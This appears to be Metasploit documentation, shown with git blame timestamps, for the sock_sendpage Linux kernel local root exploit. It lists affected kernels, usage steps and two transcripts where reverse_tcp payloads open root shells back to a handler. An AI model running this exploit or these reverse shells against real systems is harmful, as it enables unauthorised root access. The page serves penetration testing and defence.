2018-04-10 14:18:22 +00:00
|
|
|
## Description
|
|
|
|
|
|
|
|
|
|
The Linux kernel failed to properly initialize some entries in the
|
|
|
|
|
`proto_ops` struct for several protocols, leading to `NULL` being
|
|
|
|
|
dereferenced and used as a function pointer. By using `mmap(2)` to map
|
2018-04-12 16:48:33 +10:00
|
|
|
page `0`, an attacker can execute arbitrary code in the context of the
|
2018-04-10 14:18:22 +00:00
|
|
|
kernel.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
## Vulnerable Application
|
|
|
|
|
|
|
|
|
|
Several public exploits exist for this vulnerability, including
|
|
|
|
|
spender's `wunderbar_emporium` and rcvalle's ppc port, `sock_sendpage.c`.
|
|
|
|
|
|
|
|
|
|
All Linux 2.4/2.6 versions since May 2001 are believed to be affected:
|
|
|
|
|
|
|
|
|
|
* 2.4.4 up to and including 2.4.37.4
|
|
|
|
|
* 2.6.0 up to and including 2.6.30.4
|
|
|
|
|
|
|
|
|
|
This module has been tested successfully on:
|
|
|
|
|
|
|
|
|
|
* CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5
|
|
|
|
|
* Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
## Verification Steps
|
|
|
|
|
|
|
|
|
|
1. Start `msfconsole`
|
|
|
|
|
2. Get a session
|
|
|
|
|
3. `use exploit/linux/local/sock_sendpage`
|
|
|
|
|
4. `set SESSION [SESSION]`
|
|
|
|
|
5. `check`
|
|
|
|
|
6. `run`
|
|
|
|
|
7. You should get a new *root* session
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
## Options
|
|
|
|
|
|
|
|
|
|
**SESSION**
|
|
|
|
|
|
|
|
|
|
Which session to use, which can be viewed with `sessions`
|
|
|
|
|
|
|
|
|
|
**WritableDir**
|
|
|
|
|
|
|
|
|
|
A writable directory file system path. (default: `/tmp`)
|
|
|
|
|
|
|
|
|
|
**DEBUG_EXPLOIT**
|
|
|
|
|
|
|
|
|
|
Enable exploit debug messages. (default: `false`)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
## Scenarios
|
|
|
|
|
|
2018-04-12 16:48:33 +10:00
|
|
|
### CentOS 5.0 (i386) with kernel version 2.6.18-8.1.1.tl5
|
2018-04-10 14:18:22 +00:00
|
|
|
|
|
|
|
|
```
|
|
|
|
|
msf > use exploit/linux/local/sock_sendpage
|
|
|
|
|
msf exploit(linux/local/sock_sendpage) > set session 1
|
|
|
|
|
session => 1
|
|
|
|
|
msf exploit(linux/local/sock_sendpage) > set verbose true
|
|
|
|
|
verbose => true
|
|
|
|
|
msf exploit(linux/local/sock_sendpage) > set payload linux/x86/meterpreter/reverse_tcp
|
|
|
|
|
payload => linux/x86/meterpreter/reverse_tcp
|
|
|
|
|
msf exploit(linux/local/sock_sendpage) > run
|
|
|
|
|
|
|
|
|
|
[!] SESSION may not be compatible with this module.
|
|
|
|
|
[*] Started reverse TCP handler on 172.16.191.188:4444
|
|
|
|
|
[+] Kernel version 2.6.18 appears to be vulnerable
|
|
|
|
|
[+] System architecture i686 is supported
|
|
|
|
|
[+] vm.mmap_min_addr is not set
|
|
|
|
|
[*] Writing '/tmp/.MCpzrCREnMXU' (3509 bytes) ...
|
|
|
|
|
[*] Max line length is 65537
|
|
|
|
|
[*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf
|
|
|
|
|
[*] Executing payload...
|
|
|
|
|
[*] Transmitting intermediate stager...(106 bytes)
|
|
|
|
|
[*] Sending stage (857352 bytes) to 172.16.191.159
|
|
|
|
|
[*] Meterpreter session 34 opened (172.16.191.188:4444 -> 172.16.191.159:37663) at 2018-04-10 06:50:13 -0400
|
|
|
|
|
|
|
|
|
|
meterpreter > getuid
|
|
|
|
|
Server username: uid=0, gid=0, euid=0, egid=0
|
|
|
|
|
meterpreter > sysinfo
|
|
|
|
|
Computer : 172.16.191.159
|
|
|
|
|
OS : CentOS 5 (Linux 2.6.18-8.1.1.tl5)
|
|
|
|
|
Architecture : i686
|
|
|
|
|
BuildTuple : i486-linux-musl
|
|
|
|
|
Meterpreter : x86/linux
|
|
|
|
|
```
|
|
|
|
|
|
2018-04-12 16:48:33 +10:00
|
|
|
### Debian 3.1r8 Sarge (i686) with kernel version 2.4.27-3-386
|
2018-04-10 14:18:22 +00:00
|
|
|
|
|
|
|
|
```
|
|
|
|
|
msf > use exploit/linux/local/sock_sendpage
|
|
|
|
|
msf exploit(linux/local/sock_sendpage) > set payload linux/x86/shell/reverse_tcp
|
|
|
|
|
payload => linux/x86/shell/reverse_tcp
|
|
|
|
|
msf exploit(linux/local/sock_sendpage) > set session 1
|
|
|
|
|
session => 1
|
|
|
|
|
msf exploit(linux/local/sock_sendpage) > run
|
|
|
|
|
|
|
|
|
|
[!] SESSION may not be compatible with this module.
|
|
|
|
|
[*] Started reverse TCP handler on 172.16.191.188:4444
|
|
|
|
|
[+] Kernel version 2.4.27 appears to be vulnerable
|
|
|
|
|
[+] System architecture i686 is supported
|
|
|
|
|
[+] vm.mmap_min_addr is not set
|
|
|
|
|
[*] Writing '/tmp/.69p3FeagB' (3509 bytes) ...
|
|
|
|
|
[*] Max line length is 65537
|
|
|
|
|
[*] Writing 3509 bytes in 1 chunks of 10560 bytes (octal-encoded), using printf
|
|
|
|
|
[*] Executing payload...
|
|
|
|
|
[*] Sending stage (36 bytes) to 172.16.191.227
|
|
|
|
|
[*] Command shell session 35 opened (172.16.191.188:4444 -> 172.16.191.227:32836) at 2018-04-10 06:59:08 -0400
|
|
|
|
|
[!] Tried to delete /tmp/.69p3FeagB, unknown result
|
|
|
|
|
|
|
|
|
|
3356110123
|
|
|
|
|
lfvaliLFShnAfRQkCHUXFtuyGXKylJSN
|
|
|
|
|
TJloQpOJsrsnQSfZpNAjWcbqNuHanLeI
|
|
|
|
|
LeKIAUjwBMRhxjJjVvvrdvwErYZnxPYr
|
|
|
|
|
id
|
|
|
|
|
uid=0(root) gid=0(root) groups=100(users)
|
|
|
|
|
uname -a
|
|
|
|
|
Linux sarge 2.4.27-3-386 #1 Wed Dec 6 00:38:33 UTC 2006 i686 GNU/Linux
|
|
|
|
|
```
|
|
|
|
|
|